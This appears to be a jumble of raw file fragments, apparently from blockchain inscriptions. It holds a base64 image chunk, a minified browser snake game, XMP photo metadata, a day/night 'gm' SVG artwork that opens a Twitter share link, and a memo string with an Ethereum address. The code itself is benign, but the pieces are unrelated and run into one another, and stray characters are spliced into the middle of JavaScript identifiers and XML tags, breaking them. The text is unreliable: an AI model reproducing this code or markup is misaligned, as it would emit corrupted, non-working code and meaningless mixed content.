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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.cM
learRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.kM
++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.whiLZch&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:YResolution>264</tiff:YResolution>
         <tiff:XResolution>264</tiff:XResolution>
         <tiff:PhotometricInterpretation>2</tiff:PhotometricInterpretation>
         <tiff:ResolutionUnit>2</Jtiff:ResolutionUnit>
      </rdf:Description>
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 600 600">
  window.addEventListener("load", () => {
    var sn = document.querySelector('.sn');
    document.querySelector('.gmbtcio').classList.add('hideGMBTC');
    var td = new Date(); var ch = td.getHours()
    if (ch >= 5 && ch <= 18) {
      sn.classList.add('sngm')
      sn.classList.add('cl')
      sn.addEventListener("click", () => window.open(`https://twitter.com/intent/tweet?text=${encodeURI('gm from 006 to bM
itcoin ordinals fam! sending good vibes via the first dynamic ordinals @gmbtcio')}&hashtags=gmbtc`, '_blank'))
      var moon = document.querySelector('.moon')
      moon.setAttribute('fill-opacity', 1)
      moon.classList.add('moongn')
      var str = document.querySelector('.str')
      str.setAttribute('fill-opacity', 1)
      str.classList.add('stgn')
      var fd = document.querySelector('.f');
      fd.classList.add('m0GN')
      var bd = document.querySelector('.b');
lassList.add('bgGN')
      document.querySelector('.m1').setAttribute('fill', '#8888DE')
      document.querySelector('.m2').setAttribute('fill', '#3F3FAB')
      document.querySelector('.m3').setAttribute('fill', '#8888DE')
      document.querySelector('.m4').setAttribute('fill', '#8888DE')
      sn.classList.add('sngn')
    .cl { cursor: pointer; }
    path, circle {transition: 5s ease;}
    stop {transition: 4s ease;}
    .bgGN stop:nth-child(1) {stop-color: M
    .bgGN stop:nth-child(2) {stop-color: #BD9FFF;}
    .m0GN stop:nth-child(1) {stop-color: #605FD3;}
    .m0GN stop:nth-child(2) {stop-color: #4342C0;}
    @keyframes hideGMBTC { from {opacity: 1;} to { opacity: 0;} }
    @keyframes sngm {from {opacity: 0;transform: translateY(180px);}to {opacity: 1;transform: translateY(0);}}
    @keyframes sngn {from { opacity: 1;transform: translateY(180px);}to {transform: translateY(-180px);opacity: 0;}}
    .sngm { animation: sngm 1s linear forwards; }
ngn { animation: sngn 1s linear forwards; }
    .moongn { animation: sngm 1s linear forwards; animation-delay: 0.5s;}
    .stgn { animation: sngm 1s linear forwards; animation-delay: 1s;}
    .hideGMBTC { animation: hideGMBTC 0.4s linear forwards;}
    .str, .moon { transform: translateY(180px); }
    <path fill="#FDEEEE" d="M0 0h600v600H0z"/>
    <path fill="#000" d="M32.508 575.5c-2.7 0-4.767-.767-6.2-2.3-1.433-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.M
3 6.2-2.3s4.767.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.433 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm20.02 5c-2.7 0-4.767-.767-6.2-2.3-1.434-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.3 6.2-2.3s4.766.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.434 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.8M
5-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm20.169 5c-2.7 0-4.767-.767-6.2-2.3-1.433-1.533-2.15-3.7-2.15-6.5v-18.1c0-6.067 2.8-9.1 8.4-9.1 2.666 0 4.7.767 6.1 2.3 1.4 1.5 2.1 3.667 2.1 6.5v.65h-5.2v-1c0-2.3-.95-3.45-2.85-3.45-1.034 0-1.8.317-2.3.95-.5.633-.75 1.75-.75 3.35v6.7h.1c.966-2.033 2.633-3.05 5-3.05 2 0 3.516.683 4.55 2.05 1.033 1.367 1.55 3.35 1.55 5.95v6.25c0 2.8-.717 4.967-2.15 6.5-1.434 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.133 2.85-3.4v-6.2c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15M
-2.85 3.45v6.2c0 2.267.95 3.4 2.85 3.4Zm24.12-30.5h4.749l-13.8 35h-4.75l13.8-35Z" class="006/"/>
    <path fill="#000" d="M110.045 545.446h-3.565v-2.418c.971 0 1.746-.083 2.325-.248.599-.165 1.075-.434 1.426-.806.351-.393.661-.951.93-1.674h2.294V562h-3.41v-16.554Zm12.567 16.864c-1.674 0-2.955-.475-3.844-1.426-.889-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.444-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.955.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.889.951-2.17 1.M
426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Zm12.412 3.1c-1.674 0-2.955-.475-3.844-1.426-.888-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.445-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.956.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.888.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.13M
9v11.842c0 1.426.589 2.139 1.767 2.139Z" class="100"/>
    <g class="gmbtcio">
      <path fill="#000" d="M107.915 578.15c-.76 0-1.425-.14-1.995-.42a3.458 3.458 0 0 1-1.38-1.155l1.08-1.08c.29.36.62.63.99.81.37.18.815.27 1.335.27.65 0 1.165-.17 1.545-.51.38-.33.57-.785.57-1.365v-1.77l.285-1.59-.285-1.605V567.8h1.65v6.9c0 .69-.16 1.29-.48 1.8-.32.52-.765.925-1.335 1.215-.57.29-1.23.435-1.98.435Zm-.075-3.3c-.64 0-1.22-.155-1.74-.465a3.472 3.472 0 0 1-1.215-1.305 3.894 3.894 0 0 1-.435-1.845c0-.68.145-1.29.435-1.83.3-.M
54.705-.965 1.215-1.275.52-.32 1.1-.48 1.74-.48.57 0 1.07.115 1.5.345.43.23.765.55 1.005.96.24.4.36.87.36 1.41v1.77c0 .53-.125 1-.375 1.41-.24.41-.575.73-1.005.96-.43.23-.925.345-1.485.345Zm.33-1.56c.4 0 .75-.085 1.05-.255.3-.17.53-.405.69-.705.17-.31.255-.67.255-1.08 0-.41-.085-.765-.255-1.065-.16-.31-.39-.55-.69-.72-.3-.17-.65-.255-1.05-.255s-.755.085-1.065.255c-.3.17-.535.41-.705.72-.17.3-.255.655-.255 1.065 0 .4.085.755.255 1.065.17.31.405.55.705.72.31.17.665.255 1.065.255Zm5.373 1.71v-7.2h1.65v7.2h-1.65Zm4.785M
 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.3 0-.57.06-.81.18-.23.12-.415.295-.555.525-.14.22-.21.49-.21.81l-.645-.36c0-.55.12-1.025.36-1.425.24-.4.565-.71.975-.93.41-.23.87-.345 1.38-.345.51 0 .97.11 1.38.33.41.22.735.53.975.93s.36.88.36 1.44V575h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.29 0-.555.06-.795.18s-.43.295-.57.525c-.14.22-.21.49-.21.81l-.93-.36c.05-.55.21-1.025.48-1.425a2.8 2.8 0 0 1 1.035-.93c.43-.23.9-.345 1.41-.345.52 0 .99.11 1.41.33.42.22.755.53 1.005.93.M
25.4.375.88.375 1.44V575h-1.65Z"/>
      <path fill="#FF7F7C" d="M130.318 575.15c-.55 0-1.04-.115-1.47-.345a2.73 2.73 0 0 1-1.02-.975 2.71 2.71 0 0 1-.36-1.395v-2.07c0-.52.125-.985.375-1.395.25-.41.59-.73 1.02-.96.43-.24.915-.36 1.455-.36.65 0 1.235.17 1.755.51.53.33.945.78 1.245 1.35.31.56.465 1.195.465 1.905 0 .7-.155 1.335-.465 1.905-.3.56-.715 1.005-1.245 1.335-.52.33-1.105.495-1.755.495Zm-.27-1.56c.4 0 .75-.09 1.05-.27.31-.19.55-.45.72-.78.18-.33.27-.71.27-1.14 0-.43-.09-.81-.27-1.14-.17-.33-.41-.585-.72-.765aM
1.92 1.92 0 0 0-1.05-.285c-.4 0-.755.095-1.065.285-.31.18-.55.435-.72.765-.17.33-.255.71-.255 1.14 0 .43.085.81.255 1.14.17.33.41.59.72.78.31.18.665.27 1.065.27Zm-3.585 1.41v-10.8h1.65v5.37l-.285 1.74.285 1.755V575h-1.65Zm9.591 0v-10.2h1.65V575h-1.65Zm-1.725-5.7v-1.5h5.1v1.5h-5.1Zm9.409 5.85c-.71 0-1.355-.165-1.935-.495-.57-.33-1.02-.78-1.35-1.35a3.733 3.733 0 0 1-.495-1.905c0-.71.165-1.345.495-1.905.33-.57.78-1.02 1.35-1.35a3.844 3.844 0 0 1 1.935-.495c.56 0 1.08.11 1.56.33.49.21.905.515 1.245.915l-1.08 1.095a1.91M
3 1.913 0 0 0-.765-.555 2.32 2.32 0 0 0-.96-.195c-.41 0-.775.095-1.095.285-.31.18-.555.43-.735.75-.17.32-.255.695-.255 1.125 0 .42.085.795.255 1.125.18.32.425.575.735.765.32.18.685.27 1.095.27.35 0 .67-.06.96-.18.3-.13.555-.32.765-.57l1.08 1.095c-.34.4-.755.71-1.245.93-.48.21-1 .315-1.56.315Zm5.254 0c-.32 0-.585-.105-.795-.315-.2-.22-.3-.485-.3-.795 0-.32.1-.585.3-.795.21-.21.475-.315.795-.315.32 0 .58.105.78.315.21.21.315.475.315.795 0 .31-.105.575-.315.795-.2.21-.46.315-.78.315Zm3.106-.15v-7.2h1.65v7.2h-1.65Zm.82M
5-8.52a.958.958 0 0 1-.705-.285.986.986 0 0 1-.27-.705c0-.28.09-.515.27-.705a.958.958 0 0 1 .705-.285c.29 0 .525.095.705.285.18.19.27.425.27.705 0 .28-.09.515-.27.705a.927.927 0 0 1-.705.285Zm5.976 8.67c-.7 0-1.335-.165-1.905-.495a3.88 3.88 0 0 1-1.365-1.365 3.733 3.733 0 0 1-.495-1.905c0-.7.165-1.33.495-1.89.34-.56.795-1.005 1.365-1.335.57-.34 1.205-.51 1.905-.51.71 0 1.35.165 1.92.495.57.33 1.02.78 1.35 1.35.34.56.51 1.19.51 1.89s-.17 1.335-.51 1.905c-.33.57-.78 1.025-1.35 1.365-.57.33-1.21.495-1.92.495Zm0-1.59c.M
41 0 .77-.09 1.08-.27.32-.19.565-.45.735-.78.18-.33.27-.705.27-1.125 0-.42-.09-.79-.27-1.11-.18-.32-.425-.57-.735-.75-.31-.19-.67-.285-1.08-.285-.4 0-.76.095-1.08.285-.31.18-.555.43-.735.75-.17.32-.255.69-.255 1.11 0 .42.085.795.255 1.125.18.33.425.59.735.78.32.18.68.27 1.08.27Z"/>
    <circle cx="300" cy="300" r="244" fill="#D9D9D9" stroke="#fff" stroke-width="20" class="ol"/>
      <mask id="a" width="468" height="468" x="66" y="66" class="a" maskUnits="userSpaceOnUse" style="mask-type:M
        <circle cx="300" cy="300" r="234" fill="#FCE07D" class="cm"/>
      <g mask="url(#a)">
        <g class="ci">
          <circle cx="300" cy="300" r="234" fill="url(#b)" class="ci"/>
        <g class="sn">
          <circle cx="300" cy="202" r="97" fill="url(#c)" class="Ellipse 12" opacity=".5"/>
          <circle cx="300" cy="202" r="74.336" fill="url(#d)" class="Ellipse 13" opacity=".4"/>
          <circle cx="300.454" cy="202.453" r="55.752" fill="url(#e)" class="EllipseM
          <path fill="#fff" d="M279.87 225.45c-2.434 0-4.6-.45-6.5-1.35-1.867-.9-3.367-2.167-4.5-3.8l2.9-2.95c.966 1.233 2.116 2.167 3.45 2.8 1.333.667 2.916 1 4.75 1 2.433 0 4.35-.65 5.75-1.95 1.433-1.267 2.15-2.983 2.15-5.15v-5.9l.8-5.35-.8-5.3v-6.25h4.5v22.8c0 2.267-.534 4.25-1.6 5.95-1.034 1.7-2.5 3.033-4.4 4-1.867.967-4.034 1.45-6.5 1.45Zm0-10.85c-2.167 0-4.117-.517-5.85-1.55-1.7-1.033-3.05-2.45-4.05-4.25-1-1.833-1.5-3.883-1.5-6.15 0-2.267.5-4.283 1.5-6.05 1-1.8 2.35-3.217 4.05-4.25 1.733-1.067 3.683-1.M
6 5.85-1.6 1.866 0 3.516.367 4.95 1.1a8.49 8.49 0 0 1 3.4 3.1c.866 1.3 1.333 2.833 1.4 4.6v6.3c-.1 1.733-.584 3.267-1.45 4.6-.834 1.3-1.967 2.317-3.4 3.05-1.434.733-3.067 1.1-4.9 1.1Zm.9-4.25c1.466 0 2.75-.317 3.85-.95a6.425 6.425 0 0 0 2.6-2.65c.6-1.167.9-2.517.9-4.05s-.317-2.867-.95-4c-.6-1.167-1.45-2.067-2.55-2.7-1.1-.667-2.4-1-3.9-1s-2.817.333-3.95 1c-1.134.633-2.034 1.533-2.7 2.7-.634 1.133-.95 2.45-.95 3.95s.316 2.833.95 4a7.364 7.364 0 0 0 2.7 2.75c1.166.633 2.5.95 4 .95Zm18.205 4.65v-23.75h4.5V215h-4.5Zm16.M
05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.417-1.55-4.05-1.55-1.1 0-2.084.233-2.95.7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-1.85-.9c0-1.8.383-3.367 1.15-4.7a8.3 8.3 0 0 1 3.25-3.1c1.366-.767 2.9-1.15 4.6-1.15 1.666 0 3.166.367 4.5 1.1a7.964 7.964 0 0 1 3.2 3.1c.8 1.333 1.2 2.917 1.2 4.75V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.4-1.55-4-1.55-1.1 0-2.1.233-3 .7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-2.55-.9c.1-1.833.583-3.4 1.45-4.7a9.334 9.334 0 0 1 3.45-M
3.1c1.4-.767 2.933-1.15 4.6-1.15 1.733 0 3.283.367 4.65 1.1a8.307 8.307 0 0 1 3.25 3.1c.833 1.333 1.25 2.933 1.25 4.8V215h-4.55Z" class="gm"/>
        <g class="str" opacity=".01">
          <path fill="#fff" fill-rule="evenodd" d="M432 179a5 5 0 1 0-.001-10.001A5 5 0 0 0 432 179Zm-250 26.5a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0ZM437 244a5 5 0 1 0-.001-10.001A5 5 0 0 0 437 244Zm-280 9a5 5 0 1 0-.001-10.001A5 5 0 0 0 157 253Zm68-74a5 5 0 1 1-10.001-.001A5 5 0 0 1 225 179Zm219.5 94a2.5 2.5 0 1 0 0-5 2.5 2.5M
 0 0 0 0 5Z" class="Union" clip-rule="evenodd" opacity=".4"/>
        <g class="moon" opacity=".01">
          <circle cx="300" cy="193" r="70" fill="#fff" class="Ellipse 12" opacity=".2"/>
          <circle cx="300" cy="193" r="53" fill="#fff" class="Ellipse 13" opacity=".1"/>
          <circle cx="300.5" cy="193.5" r="40.5" fill="#fff" class="Ellipse 14" opacity=".1"/>
          <path fill="#fff" fill-rule="evenodd" d="M280.73 228.393c22.371 0 40.506-18.135 40.506-40.505 0-14.927-8.074-27.967-20.092-M
34.993 22.024.4 39.755 18.378 39.755 40.498 0 22.371-18.135 40.506-40.506 40.506a40.325 40.325 0 0 1-20.414-5.512c.25.004.5.006.751.006Z" class="Subtract" clip-rule="evenodd" opacity=".7"/>
        <path fill="#F7ADA4" d="M527.438 294.182c-38.191-18.447-49.324 7.256-89.862 39.301-39.214 37.733-59.532 69.618-53.542 99.455 7.489 37.295 103.241 38.862 172.509 10.39 69.268-28.473 65.898-90.231 49.798-87.424-16.1 2.807-40.712-43.274-78.903-61.722Z" class="m4"/>
        <path fill="#F7ADA4" d="M240.5 295.786M
c-35.877-42.928-90.633 32.954-122.633 69.954-25.667 24.834-75 83.8-67 121 10 46.5 151.053 125.271 232.633 69.046 37-25.5 62.5-92.999 39.5-124.999-12.713-17.689-49.867-95.955-82.5-135.001Z" class="m3"/>
        <path fill="#F8988D" d="M174 312c-35.877-42.928-94-2.5-126 34.5-25.666 24.833-85.133 91.041-77.133 128.241 10 46.5 151.053 125.27 232.633 69.045 37-25.5 64.5-110.286 41.5-142.286-12.713-17.688-38.367-50.454-71-89.5Z" class="m2"/>
        <path fill="url(#f)" d="M546 366H59c-9.6 48 54 161.667 87 212.5 45.334 8M
.5 167.9 20.4 295.5 0S564.334 428.333 546 366Z" class="m0"/>
        <path fill="#FFCBC5" d="M277.5 406.5c-32-11.5 1.667-28 31-40.5h26s-7.5 4.865-19.5 11.5c-33.5 18.524-7 17.5 29.5 34s23 30.5 8 64c-6.716 15-27.5 65-35 84L117 518c40-9.667 99.682-30.833 120-37.5 32-10.5 114.699-47.335 40.5-74Z" class="m1"/>
    <linearGradient id="b" x1="300" x2="300" y1="66" y2="534" class="b" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC9B3"/>
      <stop offset="1" stop-color="#ffM
    </linearGradient>
    <linearGradient id="e" x1="300.454" x2="300.454" y1="146.701" y2="258.206" class="e" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FF817E"/>
      <stop offset="1" stop-color="#D94E4B"/>
    </linearGradient>
    <linearGradient id="f" x1="306.829" x2="306.829" y1="366" y2="589.764" class="f" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FBC3BD"/>
      <stop offset="1" stop-color="#F38476"/>
    </linearGradient>
    <radialGradient id="c" cx="0" cy="0" r="1" clM
ass="c" gradientTransform="matrix(0 97 -97 0 300 202)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FFC3C1"/>
    </radialGradient>
    <radialGradient id="d" cx="0" cy="0" r="1" class="d" gradientTransform="rotate(90 49 251) scale(74.3364)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FF8885"/>
    </radialGradient>
CjA=:ETH.ETH:0x5F5633CBC323fD8E7657EBe25C9a0545DA8ae41E:203611885::0
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEventM
#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:5b4e1519-0db4-47cc-8ed0-92f8a2dac237" xmpMM:InstanceID="xmp.iid:17f20f65-4e89-46e3-9fb7-503e1125ed61" xmpMM:OriginalDocumentID="xmp.did:9413382d-0240-4a75-bc4c-4a337579cc83" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676418538700819" GIMP:Version="2.10.32" tiff:Orientation="1" xmpM
